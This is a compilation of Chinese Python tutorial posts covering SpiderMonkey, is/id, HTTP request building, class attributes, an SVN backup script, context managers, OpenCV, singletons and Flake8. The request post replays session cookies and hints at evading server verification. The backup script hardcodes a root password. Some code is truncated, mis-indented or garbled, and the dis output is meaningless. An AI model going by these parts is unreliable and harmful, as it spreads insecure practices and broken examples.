SpiderMonkey是Mozilla项目的一部分，是一个用C语言实现的JavaScript脚本引擎，
该引擎分析、编译和执行脚本，根据JS数据类型和对象的需要进行内存分配及释放操作；利用该引擎可以让你的应用程序具有解释JavaScript脚本的能力。

要想使用spidermonkey得先安装，方法如下：

cd /home/linuxany.com/

wget http://ftp.mozilla.org/pub/mozilla.org/js/js-1.7.0.tar.gz -O- | tar xvz

cd js/src

make -f Makefile.ref

mkdir -p /usr/include/smjs/ -v

cp *.{h,tbl} /usr/include/smjs/ -v

cd Linux_All_DBG.OBJ

cp *.h /usr/include/smjs/ -v

mkdir -p /usr/local/{bin,lib}/ -v

cp js /usr/local/bin/ -v

cp libjs.so /usr/local/lib/ -v

以上安装完成后，运行/usr/local/bin/js 就应该可以启动js解释运行引擎了.

python使用举例：



    # coding:utf-8
    import os
    import tempfile
    def call_js(js):
        f=tempfile.mktemp('sd', 'linuxany', '/tmp')
        f2=tempfile.mktemp('sd', 'linuxany', '/tmp')

        fp=open(f,'w')
        fp.write(js)
        fp.close()

        cmd="/usr/local/bin/js  %s > %s" % (f,f2)

        os.system(cmd)
        result=open(f2).read()
        print result
    if __name__ == "__main__":
        code='''
        function dF(s,n){
            n=parseInt(n);
            var s1=unescape(s.substr(0,n)+s.substr(n+1,s.length-n-1));
            var t='';
            for(var i=0;i第2种方案Python-Spidermonkey 这个Python模块允许执行Javascript相关功能，是python与javascript之间进行操作的桥梁，javascript的类，对象和函数都可以在Python中调用。它大量借鉴了克拉斯Jacobssen的JavaScript Perl模块，而这又是Mozilla的PerlConnect Perl的结合为基础。安装：svn checkout http://python-spidermonkey.googlecode.com/svn/trunk/ python-spidermonkey-read-only下载完后，先运行python setup.py build然后运行python setup.py install官方网站：http://code.google.com/p/python-spidermonkey/同时需要安装Pyrex模块，一个支持python和C语言混编的模块。装完后就用python其他模块一样使用即可。

Python 中的 is 和 id

2018-01-01T00:00:00+08:00

# Python 中的 is 和 id

### (ob1 is ob2) 等价于 (id(ob1) == id(ob2))

　　首先id函数可以获得对象的内存地址，如果两个对象的内存地址是一样的，那么这两个对象肯定是一个对象。和is是等价的。Python源代码为证。




    static PyObject *
     cmp_outcome(int op, register PyObject *v, register PyObject *w)
    {
     int res = 0;
     switch (op) {
     case PyCmp_IS:
      res = (v == w);
     break;
     case PyCmp_IS_NOT:
    res = (v != w);
     break;

　　但是请看下边代码的这种情况怎么会出现呢？

In [1]: def bar(self, x):

...:     return self.x + y

...:

In [2]: class Foo(object):

...:     x = 9

...:     def __init__(self ,x):

...:         self.x = x

...:     bar = bar

...:

In [3]: foo = Foo(5)

In [4]: foo.bar is Foo.bar

Out[4]: False

In [5]: id(foo.bar) == id(Foo.bar)

Out[5]: True

　　两个对象用is判断是False，用id判断却是True，这与我们已知的事实不符啊，这种现象该如何解释呢？遇到这种情况最好的解决方法就是调用dis模块去看
下两个比较语句到底做了什么。

In [7]: dis.dis("id(foo.bar) == id(Foo.bar)")

          0 BUILD_MAP       10340

          3 BUILD_TUPLE     28527

          6 <46>

          7 DELETE_GLOBAL   29281 (29281)

         10 STORE_SLICE+1

         11 SLICE+2

         12 DELETE_SUBSCR

         13 DELETE_SUBSCR

         14 SLICE+2

         15 BUILD_MAP       10340

         18 PRINT_EXPR

         19 JUMP_IF_FALSE_OR_POP 11887

         22 DELETE_GLOBAL   29281 (29281)

         25 STORE_SLICE+1



In [8]: dis.dis("foo.bar is Foo.bar")

          0 BUILD_TUPLE     28527

          3 <46>

          4 DELETE_GLOBAL   29281 (29281)

          7 SLICE+2

          8 BUILD_MAP        8307

         11 PRINT_EXPR

         12 JUMP_IF_FALSE_OR_POP 11887

         15 DELETE_GLOBAL   29281 (29281)

　　真实情况是当执行.操作符的时候，实际是生成了一个proxy对象，foo.bar is
Foo.bar的时候，两个对象顺序生成，放在栈里相比较，由于地址不同肯定是False，但是id(foo.bar) == id(Foo.bar)的时候就不同了
，首先生成foo.bar,然后计算foo.bar的地址，计算完之后foo.bar的地址之后，就没有任何对象指向foo.bar了，所以foo.bar对象就会被
释放。然后生成Foo.bar对象，由于foo.bar和Foo.bar所占用的内存大小是一样的，所以又恰好重用了原先foo.bar的内存地址，所以id(foo
.bar) == id(Foo.bar)的结果是True。

　　下面内容由邮件Leo Jay大牛提供，他解释的更加通透。

　　用id(expression a) == id(expression b)来判断两个表达式的结果是不是同一个对象的想法是有问题的。

　　foo.bar 这种形式叫 attribute reference [1]，它是表达式的一种。foo是一个instance
object,bar是一个方法，这个时候表达式foo.bar返回的结果叫method object [2]。根据文档：

When an instance attribute is referenced that isn’t a data attribute,

its class is searched. If the name denotes a valid class attribute

that is a function object, a method object is created by packing

(pointers to) the instance object and the function object just found

together in an abstract object: this is the method object.

　　foo.bar本身并不是简单的名字，而是表达式的计算结果，是一个 method object，在id(foo.bar)这样的表达式里，method
object只是一个临时的中间变量而已，对临时的中间变量做id是没有意义的。

　　一个更明显的例子是，

print id(foo.bar) == id(foo.__init__)

　　输出的结果也是True

　　看 id 的文档[3]：

Return the “identity” of an object. This is an integer (or long

integer) which is guaranteed to be unique and constant for this object

during its lifetime. Two objects with non-overlapping lifetimes may

have the same id() value.

CPython implementation detail: This is the address of the object in memory.

　　只有你能保证对象不会被销毁的前提下，你才能用 id 来比较两个对象。所以，如果你非要比的话，得这样写：

fb = foo.bar

Fb = Foo.bar

print id(fb) == id(Fb)

　　即把两个表达式的结果绑定到名字上，再来比是不是同一个对象，你才能得到正确的结果。

　　is表达式 [4] 也是一样的，你现在得到了正确的结果，完全是因为 CPython 现在的实现细节决定的。现在的is的实现，是左右两边的对象都计算出来，
然后再比较这两个对象的地址是否一样。万一哪天改成了，先算左边，保存地址，把左边释放掉，再算右边，再比较的话，你的is的结果可能就错了。官方文档里也提到了这个
问题 [5]。我认为正确的方法也是像id那样，先把左右两边都计算下来，并显式绑定到各自的名字上，然后再用is判断。

Python 中的POST／GET包构建以及随机字符串的生成

2018-01-01T00:00:00+08:00

# Python 中的POST／GET包构建以及随机字符串的生成

现在，我们来用Python，创建GET包和POST包。

至于有什么用处，大家慢慢体会。

Python 中包含了大量的库，作为一门新兴的语言，Python 对HTTP有足够强大的支持。

现在，我们引入新的库 httplib 以及 urllib

这两个库根据名称，我们可以知道他们是对于HTTP以及URL的操作。

首先我们先要与服务器建立连接。（我们以某微博作为例子实现下文的各种功能）

conn = httplib.HTTPConnection("ti50*****com");

只要没有提示错误，我们就可以认为连接已成功，下面就可以进行数据包发送了。

在上文中我们说过了GET包的结构，只有HEARDER 部分。而在httplib中，heaer 是通过一个字典来保存的。下面我们来定义它：

headers = {"Content-Type": "application/x-www-form-urlencoded",

  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

  "Referer": "http://ti50.*****com/g/s?sid=*********************",

  "Accept-Encoding": "",

  "Accept-Language": "zh-CN,zh;q=0.8",

  "Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3",

  "Cookie": Cookie  }

Accept-Encoding 我们删除了其内容，这对于服务器来说我们客户端不能接受任何压缩的格式，数据包将用原始数据发送回来，这样我们就可以省去解压缩的过
程直接分析网页了，但是这样做的后果是流量大，网络实时性差。关于解压缩自然有别的库来专门处理。

然后我们可以直接发送了。

conn.request(method="GET",url='''http://ti50****com/g/s?*********_TK9EH&r='''
+ go_num + '''&aid=amsg&bid=******=true&ifh=1&ngpd=false''',headers=headers);

method 字段说明是发送何种类型的数据包。

url 字段以字符串的形式定义地址

header 字段定义包头。

一般来说，一个数据包发送至服务器，服务器会相应的返回一个应答包。而且这个应答包对于我们往往是有用的，我们用下面的命令获取应答包。

response = conn.getresponse();

对于上面这条语句中的括号，其表示读取应答包的前多少个字符。

POST包与GET包的创建过程基本相同。

只是我们需要新定义BODY，这个部分可以用字符串的方式进行定义。

params = 'msg=***************************'

我们仍然需要先于服务器进行连接。

conn = httplib.HTTPConnection("ti50*****com");

发送

conn.request(method="POST",url='''/g/s?sid=******************&ngpd=false''',bo
dy=params,headers=headers);

可以发现上面的这个公式和发送GET包的格式略有差距。

method 改变了。

url 里面没有写域名。

多了一个body 字段。

其中第二条可以想到，如果没定义域名，则系统将最近一次与服务器的连接用的域名进行替换。

获取应答包的方式与GET包相同。

乱七八糟的小应用。

（一） 随机字符串的生成。

当我们用POST做一些很有趣的事情时，常常会遇到服务器验证神马的，有时候我们可以用随机字符串来处理这样的情况。

python 中给了随机数的库…… random。

对于简单的应用非常方便。例如我们产生a与b 之间的一个随机整数。

random.randint(a,b)

>>> random.randint(10,20)

>>> 15

知道了这步，我们可以很简单的编写一个随机字符串的程序了，



    from random import Random 
    def random_str(randomlength): 
        str = '' 
        chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
        length = len(chars) - 1
        random = Random() 
        for i in range(randomlength): 
            str+=chars[random.randint(0, length)] 
        return str



显然当调用此函数时应该给出随机字符串长度。

当然，我们也可以通过修改chars中的字符来定义随机字符串中的字符。

（二） 程序运行时间

我们现在给出一个非常不精确的程序时间计算方法，



    from time import clock as now
    start = now()
    finish = now()
    run_time = finish - start
    print run_time

Python 中的引用和类属性的理解

2018-01-01T00:00:00+08:00

# Python 中的引用和类属性的理解

最近对Python 的对象引用机制稍微研究了一下，留下笔记，以供查阅。

首先有一点是明确的：「Python 中一切皆对象」。

那么，这到底意味着什么呢？

如下代码：



    #!/usr/bin/env python
    a = [0, 1, 2] # 来个简单的list
    # 最初，list 和其中各个元素的id 是这样的。
    print 'origin'
    print id(a),a
    for x in a:
        print id(x), x
    print '----------------------'
    # 我们把第一个元素改改
    print 'after change a[0]'
    a[0] = 4
    print id(a),a
    for x in a:
        print id(x), x
    print '----------------------'
    # 我们再把第二个元素改改
    print 'after change a[1]'
    a[1] = 5
    print id(a),a
    for x in a:
        print id(x), x
    print '----------------------'
    # 回头看看直接写个0 ，id是多少
    print 'how about const 0?'
    print id(0), 0

运行结果如下：



    PastgiftMacbookPro:python pastgift$ ./refTest.py 
    Origin
    4299760200 [0, 1, 2]
    4298181328 0
    4298181304 1
    4298181280 2
    ----------------------
    after change a[0]
    4299760200 [4, 1, 2]
    4298181232 4
    4298181304 1
    4298181280 2
    ----------------------
    after change a[1]
    4299760200 [4, 5, 2]
    4298181232 4
    4298181208 5
    4298181280 2
    ----------------------
    how about const 0?
    4298181328 0

从「Origin」部分来看，list 中各个元素的地址之间都正好相差24，依次指向各自的数据——这让我想到了数组。

当修改a[0] 的值之后，发现，a[0] 的地址发生了变化。也就是说，赋值语句实际上只是让a[0] 重新指向另一个对象而已。此外，还注意到，a[0]
的地址和a[2]的地址相差48（2个24）。

当再次修改a[1] 之后，同样地，a[1] 的地址也发生变化，有趣的是，这次a[1] 的地址和a[0] 的地址又相差24，和原先的a[2]
相差72（3个24）。

最后，当直接把数字0的地址打印出来后，发现它的地址和最开始的a[0] 的地址完全一样。

至此，基本可以说明，就算是list 中的元素，其实也是引用。修改list 中的元素，实际上还是在修改引用而已。

对于Python 中类属性，有人提到过「类属性在同一类及其子类之间共享，修改类属性会影响到同一类及其子类的所有对象」。

听着挺吓人，但仔细研究之后，其实倒也不是什么大不了的事情。

如下代码：



    #!/usr/bin/env python
    class Bird(object):
        name = 'bird'
        talent = ['fly']
    class Chicken(Bird):
        pass
    bird = Bird();
    bird2 = Bird(); # 同类实例
    chicken = Chicken(); # 子类实例
    # 最开始是这样的
    print 'Original attr'
    print id(bird.name),      bird.name
    print id(bird.talent),    bird.talent
    print id(bird2.name),     bird2.name
    print id(bird2.talent),   bird2.talent
    print id(chicken.name),   chicken.name
    print id(chicken.talent), chicken.talent
    print '----------------------------'
    # 换个名字看看
    bird.name = 'bird name changed!'
    print 'after changing name'
    print id(bird.name),      bird.name
    print id(bird.talent),    bird.talent
    print id(bird2.name),     bird2.name
    print id(bird2.talent),   bird2.talent
    print id(chicken.name),   chicken.name
    print id(chicken.talent), chicken.talent
    print '----------------------------'
    # 洗个天赋试试（修改类属性中的元素）
    bird.talent[0] = 'walk'
    print 'after changing talent(a list)'
    print id(bird.name),      bird.name
    print id(bird.talent),    bird.talent
    print id(bird2.name),     bird2.name
    print id(bird2.talent),   bird2.talent
    print id(chicken.name),   chicken.name
    print id(chicken.talent), chicken.talent
    print '----------------------------'
    # 换个新天赋树（整个类属性全换掉）
    bird.talent = ['swim']
    print 'after reassign talent'
    print id(bird.name),      bird.name
    print id(bird.talent),    bird.talent
    print id(bird2.name),     bird2.name
    print id(bird2.talent),   bird2.talent
    print id(chicken.name),   chicken.name
    print id(chicken.talent), chicken.talent
    print '----------------------------'
    # 洗掉新天赋树（对新来的类属性中的元素进行修改）
    bird.talent[0] = 'dance'
    print 'changing element after reassigning talent'
    print id(bird.name),      bird.name
    print id(bird.talent),    bird.talent
    print id(bird2.name),     bird2.name
    print id(bird2.talent),   bird2.talent
    print id(chicken.name),   chicken.name
    print id(chicken.talent), chicken.talent
    print '----------------------------'

运行结果：



    PastgiftMacbookPro:python pastgift$ ./changeAttributeTest.py 
    Original attr
    4301998000 bird
    4301857352 ['fly']
    4301998000 bird
    4301857352 ['fly']
    4301998000 bird
    4301857352 ['fly']
    ----------------------------
    after changing name
    4301986984 bird name changed!
    4301857352 ['fly']
    4301998000 bird
    4301857352 ['fly']
    4301998000 bird
    4301857352 ['fly']
    ----------------------------
    after changing talent(a list)
    4301986984 bird name changed!
    4301857352 ['walk']
    4301998000 bird
    4301857352 ['walk']
    4301998000 bird
    4301857352 ['walk']
    ----------------------------
    after reassign talent
    4301986984 bird name changed!
    4301859512 ['swim']
    4301998000 bird
    4301857352 ['walk']
    4301998000 bird
    4301857352 ['walk']
    ----------------------------
    changing element after reassigning talent
    4301986984 bird name changed!
    4301859512 ['dance']
    4301998000 bird
    4301857352 ['walk']
    4301998000 bird
    4301857352 ['walk']
    ----------------------------

在「Origin」的时候，同类对象，子类对象的相同类属性的地址都是相同的——这就是所谓的「共享」。

修改name 之后，只有被修改的对象name
属性发生变化。这是因为对name的赋值操作实际上就是换了一个字符串，重新引用。字符串本身并没有发生变化。所以并没有在同类和子类之间产生互相影响。

接下来，修改talent 中的元素。这时，情况有所改变：同类及其子类的talent
属性都一起跟着变了——这很好理解，因为它们都引用的内存地址都一样，引用的是同一个对象。

再接下来，给talent 重新赋值，也就是改成引用另外一个对象。结果是只有本实例的talent
属性变化了。从内存地址可以看出，本实例和其他实例的talent 属性已经不再指向相同的对象了。就是说「至此，本实例已经是圈外人士了」。

那么，最后再次修改talent 中元素后，对其他实例无影响的结果也是很好理解了。因为已经是「圈外人士」了嘛，我再怎么折腾也都是自己的事情了。

所以，「类属性在同类及其子类之间互相影响」必须有一个前提条件：实例建立后，其类属性从来没有被重新赋值过，即类属性依然指向最初所指向的内存地址。

最后提一下对象属性

如下代码：



    #!/usr/bin/env python
    class Bird(object):
        def __init__(self):
            self.talent = ['fly']
    bird = Bird()
    bird2 = Bird()
    # 刚开始的情形
    print 'Origin'
    print id(bird.talent), bird.talent
    print id(bird2.talent), bird2.talent
    print '--------------------'
    # 修改其中一个对象的属性
    bird.talent[0] = 'walk'
    print 'after changing attribute'
    print id(bird.talent), bird.talent
    print id(bird2.talent), bird2.talent
    print '--------------------'
    # 作死：两个对象的属性指向同一个内存地址，再修改
    bird.talent = bird2.talent
    bird.talent[0] = 'swim'
    print 'assign to another attribute and change it'
    print id(bird.talent), bird.talent
    print id(bird2.talent), bird2.talent
    print '--------------------'
    运行结果：
    PastgiftMacbookPro:python pastgift$ ./changeAttributeTest2.py 
    Origin
    4299867632 ['fly']
    4299760200 ['fly']
    --------------------
    after changing attribute
    4299867632 ['walk']
    4299760200 ['fly']
    --------------------
    assign to another attribute and change it
    4299760200 ['swim']
    4299760200 ['swim']
    --------------------

由于对象属性就算内容完全一样（刚初始化后的属性内容一般都是一样的），也会分配到完全不同的内存地址上去。所以不存在「同类对象之间影响」的情况。

但如果让一个对象的属性和另一个对象的属性指向同一个地址，两者之间（但也仅限两者之间）便又互相牵连起来。

Python 自动备份SVN版本库并复制到远程主机脚本

2018-01-01T00:00:00+08:00

# Python 自动备份SVN版本库并复制到远程主机脚本


    #!/usr/bin/python  
    # -*- coding: utf-8 -*-

    import os 
    import re 
    import tarfile 
    import datetime 
    import pexpect 
    basedir='/data/bak/' #文件夹  
    iplist=['']# IP地址  
    def get_list(txt_file): 
        ret_list = [] 
        fin = open(txt_file,'r') 
        for line in fin: 
            if (re.match('^\\s*$',line)):     #跳过是空白的行   
                continue
            else: 
                line = line.lstrip() 
                line = line.rstrip()  #将回车（\n）去掉  
                ret_list.append(line) 
        #print('debug info of get_list :\n',ret_list)  
        return ret_list

    def copy_svn(filelist): #这个函数主要是完成dump  
        name= [] 
        name=os.path.split(filelist) 
        now = datetime.datetime.now() 
        filename = now.strftime(basedir+iplist[0] +name[-1]+ '_%Y%m%d_%H%M%S.dump') 
        os.system('svnadmin dump ' + filelist +' > '+filename )

        tarname =  now.strftime(basedir+iplist[0]+'_SVNDump_' +name[-1]+ '_%Y%m%d_%H%M%S.tar.gz') 
        #print tarname  
        tar = tarfile.open(tarname, 'w|gz') 
        tar.add(filename) 
        tar.close()


        scp = pexpect.spawn('scp -r ' +  tarname  + ' root@IP:/data/databak/FilesBack/') 
        scp.expect('.ssword:*') 
        scp.sendline('密码')   
        scp.expect(pexpect.EOF, timeout=None)


        olddate = (now - datetime.timedelta(5)).strftime("%Y%m%d") 
        print olddate

        for i in os.listdir(basedir): 
            file = re.search(r'\w*[_](\d{8})[_]\d{6}.(tar.gz|dump)', i) 
            #print i, file  
            if file and olddate>=file.group(1): 
                os.remove(basedir + file.group(0)) 
                print 'del:', file.group(0) 
                filelog=open("/data/bak/bak.log", "a") 
                filelog.write("============DATE:%s============= \n"% now.strftime("%Y%m%d")) 
                filelog.write("del file:%s \n" % (basedir+file.group(0) )) 
                filelog.write("============DATE:%s============= \n"% now.strftime("%Y%m%d")) 
            filelog.close()

    def copy_files(txt_file): 
        geted_list = get_list(txt_file) 
        for file in geted_list: 
            copy_svn(file)

    if __name__ == '__main__': 
        copy_files('/data/bak/filebak.txt') 
        print '='*20,'\ncopy_OKOKOK\n','='*20

    #!/usr/bin/python
    # -*- coding: utf-8 -*-

    import os
    import re
    import tarfile
    import datetime
    import pexpect
    basedir='/data/bak/' #文件夹
    iplist=['']# IP地址
    def get_list(txt_file):
        ret_list = []
        fin = open(txt_file,'r')
        for line in fin:
            if (re.match('^\\s*$',line)):     #跳过是空白的行
                continue
            else:
                line = line.lstrip()
                line = line.rstrip()  #将回车（\n）去掉
                ret_list.append(line)
        #print('debug info of get_list :\n',ret_list)
        return ret_list

    def copy_svn(filelist): #这个函数主要是完成dump
        name= []
        name=os.path.split(filelist)
        now = datetime.datetime.now()
        filename = now.strftime(basedir+iplist[0] +name[-1]+ '_%Y%m%d_%H%M%S.dump')
        os.system('svnadmin dump ' + filelist +' > '+filename )

        tarname =  now.strftime(basedir+iplist[0]+'_SVNDump_' +name[-1]+ '_%Y%m%d_%H%M%S.tar.gz')
        #print tarname
        tar = tarfile.open(tarname, 'w|gz')
        tar.add(filename)
        tar.close()


        scp = pexpect.spawn('scp -r ' +  tarname  + ' root@IP:/data/databak/FilesBack/')
        scp.expect('.ssword:*')
        scp.sendline('密码') 
        scp.expect(pexpect.EOF, timeout=None)


        olddate = (now - datetime.timedelta(5)).strftime("%Y%m%d")
        print olddate

        for i in os.listdir(basedir):
            file = re.search(r'\w*[_](\d{8})[_]\d{6}.(tar.gz|dump)', i)
            #print i, file
            if file and olddate>=file.group(1):
                os.remove(basedir + file.group(0))
                print 'del:', file.group(0)
               filelog=open("/data/bak/bak.log", "a")
                filelog.write("============DATE:%s============= \n"% now.strftime("%Y%m%d"))
                filelog.write("del file:%s \n" % (basedir+file.group(0) ))
                filelog.write("============DATE:%s============= \n"% now.strftime("%Y%m%d"))
         filelog.close()

    def copy_files(txt_file):
        geted_list = get_list(txt_file)
        for file in geted_list:
            copy_svn(file)

    if __name__ == '__main__':
        copy_files('/data/bak/filebak.txt')
        print '='*20,'\ncopy_OKOKOK\n','='*20

Python with...as... 语法深入解析

2018-01-01T00:00:00+08:00

# Python with...as... 语法深入解析

with从Python 2.5就有，需要from __future__ import with_statement。自python
2.6开始，成为默认关键字。

也就是说with是一个控制流语句，跟if/for/while/try之类的是一类的，with可以用来简化try finally代码，看起来可以比try
finally更清晰。



    with EXPRESSION [ as VARIABLE] WITH-BLOCK

基本思想是with所求值的对象必须有一个__enter__()方法，一个__exit__()方法。

紧跟with后面的语句被求值后，返回对象的__enter__()方法被调用，这个方法的返回值将被赋值给as后面的变量。当with后面的代码块全部被执行完之后
，将调用前面返回对象的__exit__()方法。



with expresion as variable的执行过程是，首先执行__enter__函数，它的返回值会赋给as后面的variable，想让它返回什么
就返回什么，只要你知道怎么处理就可以了，如果不写as variable，返回值会被忽略。

然后，开始执行with-block中的语句，不论成功失败(比如发生异常、错误，设置sys.exit())，在with-
block执行完成后，会执行__exit__函数。

这样的过程其实等价于：



    try:
        执行 __enter__的内容
        执行 with_block.
    finally:
        执行 __exit__内容



再看个例子



    file = open("/tmp/foo.txt")
    try:
        data = file.read()
    finally:
        file.close()

使用with...as...的方式替换，修改后的代码是：



    with open("/tmp/foo.txt") as file:
        data = file.read()





    #!/usr/bin/env python
    # with_example01.py
     
    class Sample:
        def __enter__(self):
            print "In __enter__()"
            return "Foo"
     
        def __exit__(self, type, value, trace):
            print "In __exit__()"
            
    def get_sample():
        return Sample()
    with get_sample() as sample:
        print "sample:", sample

执行结果为



    In __enter__()
    sample: Foo
    In __exit__()

1\. __enter__()方法被执行

2\. __enter__()方法返回的值 - 这个例子中是"Foo"，赋值给变量'sample'

3\. 执行代码块，打印变量"sample"的值为 "Foo"

4\. __exit__()方法被调用with真正强大之处是它可以处理异常。可能你已经注意到Sample类的__exit__方法有三个参数- val,
type 和 trace。这些参数在异常处理中相当有用。

Python+OpenCV人脸识别技术详解

2018-01-01T00:00:00+08:00

# Python+OpenCV人脸识别技术详解

总在科幻电影里看到人脸识别，现在我们也可以编程来实现啦。哈哈~~  
OpenCV是Intel‍‍®‍‍开源计算机视觉库。它由一系列 C 函数和少量 C++ 类构成，实现了图像处理和计算机视觉方面的很多通用算法。  
OpenCV 拥有包括 300 多个C函数的跨平台的中、高层 API。它不依赖于其它的外部库--
尽管也可以使用某些外部库。它还提供了Python、Ruby、MATLAB等语言的接口，实现了图像处理和计算机视觉方

面的很多通用算法。

所以总体来说OpenCV的人脸检测功能在是很不错的。

效果图如下：

![](http://www.pythontab.com/uploadfile/2017/0321/20170321114220979.png)

下面我们就用python + OpenCV实现人脸识别。

开发运行环境：  
Centos5.5  
OpenCV  
python2.7  
PIL

下面上代码：




    #!/usr/bin/python
    # -*- coding: UTF-8 -*-
     
    # face_detect.py
     
    # Face Detection using OpenCV. Based on sample code from:
    # http://www.pythontab.com
     
    # Usage: python face_detect.py
     
    import sys, os
    #引入opencv库中的相应组件
    from opencv.cv import *
    from opencv.highgui import *
    #引入PIL库
    from PIL import Image, ImageDraw
    from math import sqrt
     
    def detectObjects(image):
        #首先把图片转换为灰度模式，以便找到人脸位置
        grayscale = cvCreateImage(cvSize(image.width, image.height), 8, 1)
        cvCvtColor(image, grayscale, CV_BGR2GRAY)
     
        storage = cvCreateMemStorage(0)
        cvClearMemStorage(storage)
        cvEqualizeHist(grayscale, grayscale)
     
        cascade = cvLoadHaarClassifierCascade(
            \'/usr/share/opencv/haarcascades/haarcascade_frontalface_default.xml\',
            cvSize(1,1))
        faces = cvHaarDetectObjects(grayscale, cascade, storage, 1.1, 2,
            CV_HAAR_DO_CANNY_PRUNING, cvSize(20,20))
     
        result = []
        for f in faces:
            result.append((f.x, f.y, f.x+f.width, f.y+f.height))
     
        return result
     
    def grayscale(r, g, b):
        return int(r * .3 + g * .59 + b * .11)
     
    def process(infile, outfile):
     
        image = cvLoadImage(infile);
        if image:
            faces = detectObjects(image)
     
        im = Image.open(infile)
     
        if faces:
            draw = ImageDraw.Draw(im)
            for f in faces:
                draw.rectangle(f, outline=(255, 0, 255))
     
            im.save(outfile, "JPEG", quality=100)
        else:
            print "Error: cannot detect faces on %s" % infile
     
    if __name__ == "__main__":
        process(\'input.jpg\', \'output.jpg\')

代码到此结束，上面的例子看不懂，没关系，因为我们大量使用了库里面的函数和方法，如果看不懂，我们可以去网上查或者使用手册，只要借助这些看懂这段代码就ok，重要
的是掌握其中的人脸识别实现思想

Python创建单例模式的5种常用方法

2018-01-01T00:00:00+08:00

# Python创建单例模式的5种常用方法

所谓单例，是指一个类的实例从始至终只能被创建一次。

### 方法1

如果想使得某个类从始至终最多只有一个实例，使用__new__方法会很简单。Python中类是通过__new__来创建实例的：



    class Singleton(object):
        def __new__(cls,*args,**kwargs):
            if not hasattr(cls,'_inst'):
                cls._inst=super(Singleton,cls).__new__(cls,*args,**kwargs)
            return cls._inst
    if __name__=='__main__':
        class A(Singleton):
            def __init__(self,s):
                self.s=s      
        a=A('apple')   
        b=A('banana')
        print id(a),a.s
        print id(b),b.s

结果：

29922256 banana

29922256 banana

通过__new__方法，将类的实例在创建的时候绑定到类属性_inst上。如果cls._inst为None，说明类还未实例化，实例化并将实例绑定到cls._i
nst，以后每次实例化的时候都返回第一次实例化创建的实例。注意从Singleton派生子类的时候，不要重载__new__。

### 方法2：

有时候我们并不关心生成的实例是否具有同一id，而只关心其状态和行为方式。我们可以允许许多个实例被创建，但所有的实例都共享状态和行为方式：



    class Borg(object):
        _shared_state={}
        def __new__(cls,*args,**kwargs):
            obj=super(Borg,cls).__new__(cls,*args,**kwargs)
            obj.__dict__=cls._shared_state
            return obj

将所有实例的__dict__指向同一个字典，这样实例就共享相同的方法和属性。对任何实例的名字属性的设置，无论是在__init__中修改还是直接修改，所有的实
例都会受到影响。不过实例的id是不同的。要保证类实例能共享属性，但不和子类共享，注意使用cls._shared_state,而不是Borg._shared_
state。

因为实例是不同的id，所以每个实例都可以做字典的key：



    if __name__=='__main__':
        class Example(Borg):
            pass
        a=Example()
        b=Example()
        c=Example()
        adict={}
        j=0
        for i in a,b,c:
            adict[i]=j
            j+=1
        for i in a,b,c:
            print adict[i]

结果：

0

1

2

如果这种行为不是你想要的，可以为Borg类添加__eq__和__hash__方法，使其更接近于单例模式的行为：



    class Borg(object):
        _shared_state={}
        def __new__(cls,*args,**kwargs):
            obj=super(Borg,cls).__new__(cls,*args,**kwargs)
            obj.__dict__=cls._shared_state
            return obj
        def __hash__(self):
            return 1
        def __eq__(self,other):
            try:
                return self.__dict__ is other.__dict__
            except:
                return False
    if __name__=='__main__':
        class Example(Borg):
            pass
        a=Example()
        b=Example()
        c=Example()
        adict={}
        j=0
        for i in a,b,c:
            adict[i]=j
            j+=1
        for i in a,b,c:
            print adict[i]

结果：

2

2

2

所有的实例都能当一个key使用了。

###  方法3

当你编写一个类的时候，某种机制会使用类名字，基类元组，类字典来创建一个类对象。新型类中这种机制默认为type，而且这种机制是可编程的，称为元类__metac
lass__ 。



    class Singleton(type):
        def __init__(self,name,bases,class_dict):
            super(Singleton,self).__init__(name,bases,class_dict)
            self._instance=None
        def __call__(self,*args,**kwargs):
            if self._instance is None:
                self._instance=super(Singleton,self).__call__(*args,**kwargs)
            return self._instance
    if __name__=='__main__':
        class A(object):
            __metaclass__=Singleton       
        a=A()
        b=A()
        print id(a),id(b)

结果：

34248016 34248016

id是相同的。

例子中我们构造了一个Singleton元类，并使用__call__方法使其能够模拟函数的行为。构造类A时，将其元类设为Singleton，那么创建类对象A时
，行为发生如下：

A=Singleton(name,bases,class_dict),A其实为Singleton类的一个实例。

创建A的实例时，A()=Singleton(name,bases,class_dict)()=Singleton(name,bases,class_dict
).__call__()，这样就将A的所有实例都指向了A的属性_instance上，这种方法与方法1其实是相同的。

###  方法4

python中的模块module在程序中只被加载一次，本身就是单例的。可以直接写一个模块，将你需要的方法和属性，写在模块中当做函数和模块作用域的全局变量即可
，根本不需要写类。

而且还有一些综合模块和类的优点的方法：



    class _singleton(object):
        class ConstError(TypeError):
            pass
        def __setattr__(self,name,value):
            if name in self.__dict__:
                raise self.ConstError
            self.__dict__[name]=value
        def __delattr__(self,name):
            if name in self.__dict__:
                raise self.ConstError
            raise NameError
    import sys
    sys.modules[__name__]=_singleton()

python并不会对sys.modules进行检查以确保他们是模块对象，我们利用这一点将模块绑定向一个类对象，而且以后都会绑定向同一个对象了。

将代码存放在single.py中：



    >>> import single
    >>> single.a=1
    >>> single.a=2

ConstError

>>> del single.a

ConstError

### 方法5

最简单的方法：



    class singleton(object):
        pass
    singleton=singleton()

将名字singleton绑定到实例上，singleton就是它自己类的唯一对象了。

Python代码规范利器Flake8

2018-01-01T00:00:00+08:00

# Python代码规范利器Flake8

写代码其实是需要规范的，团队中更是如此；不然 Google 也不会发布各种编码规范，耳熟能详的有Google C++ 风格指南，Google Python
风格指南，等等。

这些规范有用吗？有用也没用，除非你脑子好使，一边 coding，一边将规范运用的发紫；否则我们终须还是需要一种工具来做这件事情。好在python
不止一种工具帮我们做这件事。话休絮烦，切正题。

Pylint

使用过，变态到发紫；不知道谁那么无聊，将规则定的那么死，我们 pythoner 能快乐吗？乃们不见 rubyer，Matz 倡导的是什么？ Happy
Coding 有木有？ 所以用过就仍了，因为我不需要这么变态的搞，无爱～ 如果你要安装，也很简单：

<php>easy_install pylint // maybe nedd root</php>

Pep8

顾名思义，来自于 Python 社区著名的 PEP 8。基本上写代码按这个就对了，但是这还不够完美；安装如下：

easy_install pep8 // maybe nedd root



Pyflakes



Python 程序被动检测工具，还真够被动的，据作者说比较快，不够强大，但是还可以～

easy_install pyflakes // maybe nedd root

Flake8



